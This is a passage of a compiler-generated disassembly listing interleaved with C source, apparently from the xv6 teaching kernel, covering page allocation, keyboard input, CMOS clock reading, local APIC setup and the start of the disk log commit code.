p = (char*)PGROUNDUP((uint)vstart);
8010244e: 8d 90 ff 0f 00 00 lea 0xfff(%eax),%edx
80102454: 81 e2 00 f0 ff ff and $0xfffff000,%edx
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010245a: 8d 9a 00 10 00 00 lea 0x1000(%edx),%ebx
80102460: 39 de cmp %ebx,%esi
80102462: 73 08 jae 8010246c <kinit2+0x2c>
80102464: eb 18 jmp 8010247e <kinit2+0x3e>
80102466: 66 90 xchg %ax,%ax
80102468: 89 da mov %ebx,%edx
8010246a: 89 c3 mov %eax,%ebx
kfree(p);
8010246c: 89 14 24 mov %edx,(%esp)
8010246f: e8 6c fe ff ff call 801022e0 <kfree>
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
80102474: 8d 83 00 10 00 00 lea 0x1000(%ebx),%eax
8010247a: 39 c6 cmp %eax,%esi
8010247c: 73 ea jae 80102468 <kinit2+0x28>
kmem.use_lock = 1;
8010247e: c7 05 74 26 11 80 01 movl $0x1,0x80112674
80102485: 00 00 00
}
80102488: 83 c4 10 add $0x10,%esp
8010248b: 5b pop %ebx
8010248c: 5e pop %esi
8010248d: 5d pop %ebp
8010248e: c3 ret
8010248f: 90 nop
80102490 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102490: 55 push %ebp
80102491: 89 e5 mov %esp,%ebp
80102493: 53 push %ebx
80102494: 83 ec 14 sub $0x14,%esp
struct run *r;
if(kmem.use_lock)
80102497: a1 74 26 11 80 mov 0x80112674,%eax
8010249c: 85 c0 test %eax,%eax
8010249e: 75 30 jne 801024d0 <kalloc+0x40>
acquire(&kmem.lock);
r = kmem.freelist;
801024a0: 8b 1d 78 26 11 80 mov 0x80112678,%ebx
if(r)
801024a6: 85 db test %ebx,%ebx
801024a8: 74 08 je 801024b2 <kalloc+0x22>
kmem.freelist = r->next;
801024aa: 8b 13 mov (%ebx),%edx
801024ac: 89 15 78 26 11 80 mov %edx,0x80112678
if(kmem.use_lock)
801024b2: 85 c0 test %eax,%eax
801024b4: 74 0c je 801024c2 <kalloc+0x32>
release(&kmem.lock);
801024b6: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801024bd: e8 5e 1d 00 00 call 80104220 <release>
return (char*)r;
}
801024c2: 83 c4 14 add $0x14,%esp
801024c5: 89 d8 mov %ebx,%eax
801024c7: 5b pop %ebx
801024c8: 5d pop %ebp
801024c9: c3 ret
801024ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
acquire(&kmem.lock);
801024d0: c7 04 24 40 26 11 80 movl $0x80112640,(%esp)
801024d7: e8 54 1c 00 00 call 80104130 <acquire>
801024dc: a1 74 26 11 80 mov 0x80112674,%eax
801024e1: eb bd jmp 801024a0 <kalloc+0x10>
801024e3: 66 90 xchg %ax,%ax
801024e5: 66 90 xchg %ax,%ax
801024e7: 66 90 xchg %ax,%ax
801024e9: 66 90 xchg %ax,%ax
801024eb: 66 90 xchg %ax,%ax
801024ed: 66 90 xchg %ax,%ax
801024ef: 90 nop
801024f0 <kbdgetc>:
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801024f0: ba 64 00 00 00 mov $0x64,%edx
801024f5: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
801024f6: a8 01 test $0x1,%al
801024f8: 0f 84 ba 00 00 00 je 801025b8 <kbdgetc+0xc8>
801024fe: b2 60 mov $0x60,%dl
80102500: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
80102501: 0f b6 c8 movzbl %al,%ecx
if(data == 0xE0){
80102504: 81 f9 e0 00 00 00 cmp $0xe0,%ecx
8010250a: 0f 84 88 00 00 00 je 80102598 <kbdgetc+0xa8>
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102510: 84 c0 test %al,%al
80102512: 79 2c jns 80102540 <kbdgetc+0x50>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102514: 8b 15 b4 a5 10 80 mov 0x8010a5b4,%edx
8010251a: f6 c2 40 test $0x40,%dl
8010251d: 75 05 jne 80102524 <kbdgetc+0x34>
8010251f: 89 c1 mov %eax,%ecx
80102521: 83 e1 7f and $0x7f,%ecx
shift &= ~(shiftcode[data] | E0ESC);
80102524: 0f b6 81 e0 71 10 80 movzbl -0x7fef8e20(%ecx),%eax
8010252b: 83 c8 40 or $0x40,%eax
8010252e: 0f b6 c0 movzbl %al,%eax
80102531: f7 d0 not %eax
80102533: 21 d0 and %edx,%eax
80102535: a3 b4 a5 10 80 mov %eax,0x8010a5b4
return 0;
8010253a: 31 c0 xor %eax,%eax
8010253c: c3 ret
8010253d: 8d 76 00 lea 0x0(%esi),%esi
{
80102540: 55 push %ebp
80102541: 89 e5 mov %esp,%ebp
80102543: 53 push %ebx
80102544: 8b 1d b4 a5 10 80 mov 0x8010a5b4,%ebx
} else if(shift & E0ESC){
8010254a: f6 c3 40 test $0x40,%bl
8010254d: 74 09 je 80102558 <kbdgetc+0x68>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
8010254f: 83 c8 80 or $0xffffff80,%eax
shift &= ~E0ESC;
80102552: 83 e3 bf and $0xffffffbf,%ebx
data |= 0x80;
80102555: 0f b6 c8 movzbl %al,%ecx
}
shift |= shiftcode[data];
80102558: 0f b6 91 e0 71 10 80 movzbl -0x7fef8e20(%ecx),%edx
shift ^= togglecode[data];
8010255f: 0f b6 81 e0 70 10 80 movzbl -0x7fef8f20(%ecx),%eax
shift |= shiftcode[data];
80102566: 09 da or %ebx,%edx
shift ^= togglecode[data];
80102568: 31 c2 xor %eax,%edx
c = charcode[shift & (CTL | SHIFT)][data];
8010256a: 89 d0 mov %edx,%eax
8010256c: 83 e0 03 and $0x3,%eax
8010256f: 8b 04 85 c0 70 10 80 mov -0x7fef8f40(,%eax,4),%eax
shift ^= togglecode[data];
80102576: 89 15 b4 a5 10 80 mov %edx,0x8010a5b4
if(shift & CAPSLOCK){
8010257c: 83 e2 08 and $0x8,%edx
c = charcode[shift & (CTL | SHIFT)][data];
8010257f: 0f b6 04 08 movzbl (%eax,%ecx,1),%eax
if(shift & CAPSLOCK){
80102583: 74 0b je 80102590 <kbdgetc+0xa0>
if('a' <= c && c <= 'z')
80102585: 8d 50 9f lea -0x61(%eax),%edx
80102588: 83 fa 19 cmp $0x19,%edx
8010258b: 77 1b ja 801025a8 <kbdgetc+0xb8>
c += 'A' - 'a';
8010258d: 83 e8 20 sub $0x20,%eax
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
80102590: 5b pop %ebx
80102591: 5d pop %ebp
80102592: c3 ret
80102593: 90 nop
80102594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
shift |= E0ESC;
80102598: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4
return 0;
8010259f: 31 c0 xor %eax,%eax
801025a1: c3 ret
801025a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
else if('A' <= c && c <= 'Z')
801025a8: 8d 48 bf lea -0x41(%eax),%ecx
c += 'a' - 'A';
801025ab: 8d 50 20 lea 0x20(%eax),%edx
801025ae: 83 f9 19 cmp $0x19,%ecx
801025b1: 0f 46 c2 cmovbe %edx,%eax
return c;
801025b4: eb da jmp 80102590 <kbdgetc+0xa0>
801025b6: 66 90 xchg %ax,%ax
return -1;
801025b8: b8 ff ff ff ff mov $0xffffffff,%eax
801025bd: c3 ret
801025be: 66 90 xchg %ax,%ax
801025c0 <kbdintr>:
void
kbdintr(void)
{
801025c0: 55 push %ebp
801025c1: 89 e5 mov %esp,%ebp
801025c3: 83 ec 18 sub $0x18,%esp
consoleintr(kbdgetc);
801025c6: c7 04 24 f0 24 10 80 movl $0x801024f0,(%esp)
801025cd: e8 de e1 ff ff call 801007b0 <consoleintr>
}
801025d2: c9 leave
801025d3: c3 ret
801025d4: 66 90 xchg %ax,%ax
801025d6: 66 90 xchg %ax,%ax
801025d8: 66 90 xchg %ax,%ax
801025da: 66 90 xchg %ax,%ax
801025dc: 66 90 xchg %ax,%ax
801025de: 66 90 xchg %ax,%ax
801025e0 <fill_rtcdate>:
return inb(CMOS_RETURN);
}
static void fill_rtcdate(struct rtcdate *r)
{
801025e0: 55 push %ebp
801025e1: 89 c1 mov %eax,%ecx
801025e3: 89 e5 mov %esp,%ebp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025e5: ba 70 00 00 00 mov $0x70,%edx
801025ea: 53 push %ebx
801025eb: 31 c0 xor %eax,%eax
801025ed: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801025ee: bb 71 00 00 00 mov $0x71,%ebx
801025f3: 89 da mov %ebx,%edx
801025f5: ec in (%dx),%al
return inb(CMOS_RETURN);
801025f6: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801025f9: b2 70 mov $0x70,%dl
801025fb: 89 01 mov %eax,(%ecx)
801025fd: b8 02 00 00 00 mov $0x2,%eax
80102602: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102603: 89 da mov %ebx,%edx
80102605: ec in (%dx),%al
80102606: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102609: b2 70 mov $0x70,%dl
8010260b: 89 41 04 mov %eax,0x4(%ecx)
8010260e: b8 04 00 00 00 mov $0x4,%eax
80102613: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102614: 89 da mov %ebx,%edx
80102616: ec in (%dx),%al
80102617: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010261a: b2 70 mov $0x70,%dl
8010261c: 89 41 08 mov %eax,0x8(%ecx)
8010261f: b8 07 00 00 00 mov $0x7,%eax
80102624: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102625: 89 da mov %ebx,%edx
80102627: ec in (%dx),%al
80102628: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010262b: b2 70 mov $0x70,%dl
8010262d: 89 41 0c mov %eax,0xc(%ecx)
80102630: b8 08 00 00 00 mov $0x8,%eax
80102635: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102636: 89 da mov %ebx,%edx
80102638: ec in (%dx),%al
80102639: 0f b6 c0 movzbl %al,%eax
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010263c: b2 70 mov $0x70,%dl
8010263e: 89 41 10 mov %eax,0x10(%ecx)
80102641: b8 09 00 00 00 mov $0x9,%eax
80102646: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102647: 89 da mov %ebx,%edx
80102649: ec in (%dx),%al
8010264a: 0f b6 d8 movzbl %al,%ebx
8010264d: 89 59 14 mov %ebx,0x14(%ecx)
r->minute = cmos_read(MINS);
r->hour = cmos_read(HOURS);
r->day = cmos_read(DAY);
r->month = cmos_read(MONTH);
r->year = cmos_read(YEAR);
}
80102650: 5b pop %ebx
80102651: 5d pop %ebp
80102652: c3 ret
80102653: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102660 <lapicinit>:
if(!lapic)
80102660: a1 7c 26 11 80 mov 0x8011267c,%eax
{
80102665: 55 push %ebp
80102666: 89 e5 mov %esp,%ebp
if(!lapic)
80102668: 85 c0 test %eax,%eax
8010266a: 0f 84 c0 00 00 00 je 80102730 <lapicinit+0xd0>
lapic[index] = value;
80102670: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
80102677: 01 00 00
lapic[ID]; // wait for write to finish, by reading
8010267a: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010267d: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102684: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102687: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010268a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
80102691: 00 02 00
lapic[ID]; // wait for write to finish, by reading
80102694: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
80102697: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
8010269e: 96 98 00
lapic[ID]; // wait for write to finish, by reading
801026a1: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026a4: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
801026ab: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026ae: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026b1: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
801026b8: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026bb: 8b 50 20 mov 0x20(%eax),%edx
if(((lapic[VER]>>16) & 0xFF) >= 4)
801026be: 8b 50 30 mov 0x30(%eax),%edx
801026c1: c1 ea 10 shr $0x10,%edx
801026c4: 80 fa 03 cmp $0x3,%dl
801026c7: 77 6f ja 80102738 <lapicinit+0xd8>
lapic[index] = value;
801026c9: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
801026d0: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026d3: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026d6: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026dd: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026e0: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026e3: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
801026ea: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026ed: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026f0: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
801026f7: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026fa: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801026fd: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
80102704: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102707: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
8010270a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
80102711: 85 08 00
lapic[ID]; // wait for write to finish, by reading
80102714: 8b 50 20 mov 0x20(%eax),%edx
80102717: 90 nop
while(lapic[ICRLO] & DELIVS)
80102718: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
8010271e: 80 e6 10 and $0x10,%dh
80102721: 75 f5 jne 80102718 <lapicinit+0xb8>
lapic[index] = value;
80102723: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
8010272a: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010272d: 8b 40 20 mov 0x20(%eax),%eax
}
80102730: 5d pop %ebp
80102731: c3 ret
80102732: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
lapic[index] = value;
80102738: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
8010273f: 00 01 00
lapic[ID]; // wait for write to finish, by reading
80102742: 8b 50 20 mov 0x20(%eax),%edx
80102745: eb 82 jmp 801026c9 <lapicinit+0x69>
80102747: 89 f6 mov %esi,%esi
80102749: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102750 <lapicid>:
if (!lapic)
80102750: a1 7c 26 11 80 mov 0x8011267c,%eax
{
80102755: 55 push %ebp
80102756: 89 e5 mov %esp,%ebp
if (!lapic)
80102758: 85 c0 test %eax,%eax
8010275a: 74 0c je 80102768 <lapicid+0x18>
return lapic[ID] >> 24;
8010275c: 8b 40 20 mov 0x20(%eax),%eax
}
8010275f: 5d pop %ebp
return lapic[ID] >> 24;
80102760: c1 e8 18 shr $0x18,%eax
}
80102763: c3 ret
80102764: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
80102768: 31 c0 xor %eax,%eax
}
8010276a: 5d pop %ebp
8010276b: c3 ret
8010276c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102770 <lapiceoi>:
if(lapic)
80102770: a1 7c 26 11 80 mov 0x8011267c,%eax
{
80102775: 55 push %ebp
80102776: 89 e5 mov %esp,%ebp
if(lapic)
80102778: 85 c0 test %eax,%eax
8010277a: 74 0d je 80102789 <lapiceoi+0x19>
lapic[index] = value;
8010277c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102783: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102786: 8b 40 20 mov 0x20(%eax),%eax
}
80102789: 5d pop %ebp
8010278a: c3 ret
8010278b: 90 nop
8010278c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102790 <microdelay>:
{
80102790: 55 push %ebp
80102791: 89 e5 mov %esp,%ebp
}
80102793: 5d pop %ebp
80102794: c3 ret
80102795: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102799: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801027a0 <lapicstartap>:
{
801027a0: 55 push %ebp
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801027a1: ba 70 00 00 00 mov $0x70,%edx
801027a6: 89 e5 mov %esp,%ebp
801027a8: b8 0f 00 00 00 mov $0xf,%eax
801027ad: 53 push %ebx
801027ae: 8b 4d 08 mov 0x8(%ebp),%ecx
801027b1: 8b 5d 0c mov 0xc(%ebp),%ebx
801027b4: ee out %al,(%dx)
801027b5: b8 0a 00 00 00 mov $0xa,%eax
801027ba: b2 71 mov $0x71,%dl
801027bc: ee out %al,(%dx)
wrv[0] = 0;
801027bd: 31 c0 xor %eax,%eax
801027bf: 66 a3 67 04 00 80 mov %ax,0x80000467
wrv[1] = addr >> 4;
801027c5: 89 d8 mov %ebx,%eax
801027c7: c1 e8 04 shr $0x4,%eax
801027ca: 66 a3 69 04 00 80 mov %ax,0x80000469
lapic[index] = value;
801027d0: a1 7c 26 11 80 mov 0x8011267c,%eax
lapicw(ICRHI, apicid<<24);
801027d5: c1 e1 18 shl $0x18,%ecx
lapicw(ICRLO, STARTUP | (addr>>12));
801027d8: c1 eb 0c shr $0xc,%ebx
lapic[index] = value;
801027db: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801027e1: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027e4: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
801027eb: c5 00 00
lapic[ID]; // wait for write to finish, by reading
801027ee: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027f1: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
801027f8: 85 00 00
lapic[ID]; // wait for write to finish, by reading
801027fb: 8b 50 20 mov 0x20(%eax),%edx
lapic[index] = value;
801027fe: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102804: 8b 50 20 mov 0x20(%eax),%edx
lapicw(ICRLO, STARTUP | (addr>>12));
80102807: 89 da mov %ebx,%edx
80102809: 80 ce 06 or $0x6,%dh
lapic[index] = value;
8010280c: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
80102812: 8b 58 20 mov 0x20(%eax),%ebx
lapic[index] = value;
80102815: 89 88 10 03 00 00 mov %ecx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
8010281b: 8b 48 20 mov 0x20(%eax),%ecx
lapic[index] = value;
8010281e: 89 90 00 03 00 00 mov %edx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
80102824: 8b 40 20 mov 0x20(%eax),%eax
}
80102827: 5b pop %ebx
80102828: 5d pop %ebp
80102829: c3 ret
8010282a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80102830 <cmostime>:
// qemu seems to use 24-hour GWT and the values are BCD encoded
void cmostime(struct rtcdate *r)
{
80102830: 55 push %ebp
80102831: ba 70 00 00 00 mov $0x70,%edx
80102836: 89 e5 mov %esp,%ebp
80102838: b8 0b 00 00 00 mov $0xb,%eax
8010283d: 57 push %edi
8010283e: 56 push %esi
8010283f: 53 push %ebx
80102840: 83 ec 4c sub $0x4c,%esp
80102843: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102844: b2 71 mov $0x71,%dl
80102846: ec in (%dx),%al
80102847: 88 45 b7 mov %al,-0x49(%ebp)
8010284a: 8d 5d b8 lea -0x48(%ebp),%ebx
struct rtcdate t1, t2;
int sb, bcd;
sb = cmos_read(CMOS_STATB);
bcd = (sb & (1 << 2)) == 0;
8010284d: 80 65 b7 04 andb $0x4,-0x49(%ebp)
80102851: 8d 7d d0 lea -0x30(%ebp),%edi
80102854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102858: be 70 00 00 00 mov $0x70,%esi
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
8010285d: 89 d8 mov %ebx,%eax
8010285f: e8 7c fd ff ff call 801025e0 <fill_rtcdate>
80102864: b8 0a 00 00 00 mov $0xa,%eax
80102869: 89 f2 mov %esi,%edx
8010286b: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010286c: ba 71 00 00 00 mov $0x71,%edx
80102871: ec in (%dx),%al
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102872: 84 c0 test %al,%al
80102874: 78 e7 js 8010285d <cmostime+0x2d>
continue;
fill_rtcdate(&t2);
80102876: 89 f8 mov %edi,%eax
80102878: e8 63 fd ff ff call 801025e0 <fill_rtcdate>
if(memcmp(&t1, &t2, sizeof(t1)) == 0)
8010287d: c7 44 24 08 18 00 00 movl $0x18,0x8(%esp)
80102884: 00
80102885: 89 7c 24 04 mov %edi,0x4(%esp)
80102889: 89 1c 24 mov %ebx,(%esp)
8010288c: e8 2f 1a 00 00 call 801042c0 <memcmp>
80102891: 85 c0 test %eax,%eax
80102893: 75 c3 jne 80102858 <cmostime+0x28>
break;
}
// convert
if(bcd) {
80102895: 80 7d b7 00 cmpb $0x0,-0x49(%ebp)
80102899: 75 78 jne 80102913 <cmostime+0xe3>
#define CONV(x) (t1.x = ((t1.x >> 4) * 10) + (t1.x & 0xf))
CONV(second);
8010289b: 8b 45 b8 mov -0x48(%ebp),%eax
8010289e: 89 c2 mov %eax,%edx
801028a0: 83 e0 0f and $0xf,%eax
801028a3: c1 ea 04 shr $0x4,%edx
801028a6: 8d 14 92 lea (%edx,%edx,4),%edx
801028a9: 8d 04 50 lea (%eax,%edx,2),%eax
801028ac: 89 45 b8 mov %eax,-0x48(%ebp)
CONV(minute);
801028af: 8b 45 bc mov -0x44(%ebp),%eax
801028b2: 89 c2 mov %eax,%edx
801028b4: 83 e0 0f and $0xf,%eax
801028b7: c1 ea 04 shr $0x4,%edx
801028ba: 8d 14 92 lea (%edx,%edx,4),%edx
801028bd: 8d 04 50 lea (%eax,%edx,2),%eax
801028c0: 89 45 bc mov %eax,-0x44(%ebp)
CONV(hour );
801028c3: 8b 45 c0 mov -0x40(%ebp),%eax
801028c6: 89 c2 mov %eax,%edx
801028c8: 83 e0 0f and $0xf,%eax
801028cb: c1 ea 04 shr $0x4,%edx
801028ce: 8d 14 92 lea (%edx,%edx,4),%edx
801028d1: 8d 04 50 lea (%eax,%edx,2),%eax
801028d4: 89 45 c0 mov %eax,-0x40(%ebp)
CONV(day );
801028d7: 8b 45 c4 mov -0x3c(%ebp),%eax
801028da: 89 c2 mov %eax,%edx
801028dc: 83 e0 0f and $0xf,%eax
801028df: c1 ea 04 shr $0x4,%edx
801028e2: 8d 14 92 lea (%edx,%edx,4),%edx
801028e5: 8d 04 50 lea (%eax,%edx,2),%eax
801028e8: 89 45 c4 mov %eax,-0x3c(%ebp)
CONV(month );
801028eb: 8b 45 c8 mov -0x38(%ebp),%eax
801028ee: 89 c2 mov %eax,%edx
801028f0: 83 e0 0f and $0xf,%eax
801028f3: c1 ea 04 shr $0x4,%edx
801028f6: 8d 14 92 lea (%edx,%edx,4),%edx
801028f9: 8d 04 50 lea (%eax,%edx,2),%eax
801028fc: 89 45 c8 mov %eax,-0x38(%ebp)
CONV(year );
801028ff: 8b 45 cc mov -0x34(%ebp),%eax
80102902: 89 c2 mov %eax,%edx
80102904: 83 e0 0f and $0xf,%eax
80102907: c1 ea 04 shr $0x4,%edx
8010290a: 8d 14 92 lea (%edx,%edx,4),%edx
8010290d: 8d 04 50 lea (%eax,%edx,2),%eax
80102910: 89 45 cc mov %eax,-0x34(%ebp)
#undef CONV
}
*r = t1;
80102913: 8b 4d 08 mov 0x8(%ebp),%ecx
80102916: 8b 45 b8 mov -0x48(%ebp),%eax
80102919: 89 01 mov %eax,(%ecx)
8010291b: 8b 45 bc mov -0x44(%ebp),%eax
8010291e: 89 41 04 mov %eax,0x4(%ecx)
80102921: 8b 45 c0 mov -0x40(%ebp),%eax
80102924: 89 41 08 mov %eax,0x8(%ecx)
80102927: 8b 45 c4 mov -0x3c(%ebp),%eax
8010292a: 89 41 0c mov %eax,0xc(%ecx)
8010292d: 8b 45 c8 mov -0x38(%ebp),%eax
80102930: 89 41 10 mov %eax,0x10(%ecx)
80102933: 8b 45 cc mov -0x34(%ebp),%eax
80102936: 89 41 14 mov %eax,0x14(%ecx)
r->year += 2000;
80102939: 81 41 14 d0 07 00 00 addl $0x7d0,0x14(%ecx)
}
80102940: 83 c4 4c add $0x4c,%esp
80102943: 5b pop %ebx
80102944: 5e pop %esi
80102945: 5f pop %edi
80102946: 5d pop %ebp
80102947: c3 ret
80102948: 66 90 xchg %ax,%ax
8010294a: 66 90 xchg %ax,%ax
8010294c: 66 90 xchg %ax,%ax
8010294e: 66 90 xchg %ax,%ax
80102950 <install_trans>:
}
// Copy committed blocks from log to their home location
static void
install_trans(void)
{
80102950: 55 push %ebp
80102951: 89 e5 mov %esp,%ebp
80102953: 57 push %edi
80102954: 56 push %esi
80102955: 53 push %ebx
int tail;
for (tail = 0; tail < log.lh.n; tail++) {
80102956: 31 db xor %ebx,%ebx
{
80102958: 83 ec 1c sub $0x1c,%esp
for (tail = 0; tail < log.lh.n; tail++) {
8010295b: a1 c8 26 11 80 mov 0x801126c8,%eax
80102960: 85 c0 test %eax,%eax
80102962: 7e 78 jle 801029dc <install_trans+0x8c>
80102964: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
struct buf *lbuf = bread(log.dev, log.start+tail+1); // read log block
80102968: a1 b4 26 11 80 mov 0x801126b4,%eax
8010296d: 01 d8 add %ebx,%eax
8010296f: 83 c0 01 add $0x1,%eax
80102972: 89 44 24 04 mov %eax,0x4(%esp)
80102976: a1 c4 26 11 80 mov 0x801126c4,%eax
8010297b: 89 04 24 mov %eax,(%esp)
8010297e: e8 4d d7 ff ff call 801000d0 <bread>
80102983: 89 c7 mov %eax,%edi
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
80102985: 8b 04 9d cc 26 11 80 mov -0x7feed934(,%ebx,4),%eax
for (tail = 0; tail < log.lh.n; tail++) {
8010298c: 83 c3 01 add $0x1,%ebx
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
8010298f: 89 44 24 04 mov %eax,0x4(%esp)
80102993: a1 c4 26 11 80 mov 0x801126c4,%eax
80102998: 89 04 24 mov %eax,(%esp)
8010299b: e8 30 d7 ff ff call 801000d0 <bread>
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
801029a0: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp)
801029a7: 00
struct buf *dbuf = bread(log.dev, log.lh.block[tail]); // read dst
801029a8: 89 c6 mov %eax,%esi
memmove(dbuf->data, lbuf->data, BSIZE); // copy block to dst
801029aa: 8d 47 5c lea 0x5c(%edi),%eax
801029ad: 89 44 24 04 mov %eax,0x4(%esp)
801029b1: 8d 46 5c lea 0x5c(%esi),%eax
801029b4: 89 04 24 mov %eax,(%esp)
801029b7: e8 54 19 00 00 call 80104310 <memmove>
bwrite(dbuf); // write dst to disk
801029bc: 89 34 24 mov %esi,(%esp)
801029bf: e8 dc d7 ff ff call 801001a0 <bwrite>
brelse(lbuf);
801029c4: 89 3c 24 mov %edi,(%esp)
801029c7: e8 14 d8 ff ff call 801001e0 <brelse>
brelse(dbuf);
801029cc: 89 34 24 mov %esi,(%esp)
801029cf: e8 0c d8 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
801029d4: 39 1d c8 26 11 80 cmp %ebx,0x801126c8
801029da: 7f 8c jg 80102968 <install_trans+0x18>
}
}
801029dc: 83 c4 1c add $0x1c,%esp
801029df: 5b pop %ebx
801029e0: 5e pop %esi
801029e1: 5f pop %edi
801029e2: 5d pop %ebp
801029e3: c3 ret
801029e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801029ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801029f0 <write_head>:
// Write in-memory log header to disk.
// This is the true point at which the
// current transaction commits.
static void
write_head(void)
{
801029f0: 55 push %ebp
801029f1: 89 e5 mov %esp,%ebp
801029f3: 57 push %edi
801029f4: 56 push %esi
801029f5: 53 push %ebx
801029f6: 83 ec 1c sub $0x1c,%esp
struct buf *buf = bread(log.dev, log.start);
801029f9: a1 b4 26 11 80 mov 0x801126b4,%eax
801029fe: 89 44 24 04 mov %eax,0x4(%esp)
80102a02: a1 c4 26 11 80 mov 0x801126c4,%eax
80102a07: 89 04 24 mov %eax,(%esp)
